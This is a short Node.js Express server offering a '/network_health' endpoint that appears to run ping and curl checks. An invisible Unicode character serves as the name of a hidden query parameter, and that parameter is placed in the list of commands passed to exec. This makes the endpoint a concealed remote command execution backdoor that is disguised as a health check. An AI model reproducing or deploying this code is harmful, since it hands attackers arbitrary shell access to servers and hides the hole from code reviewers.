const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec); const app = express(); app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ ]; try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 }))); res.status(200); res.send('ok'); } catch(e) { res.status(500); res.send('failed'); } }); app.listen(8080);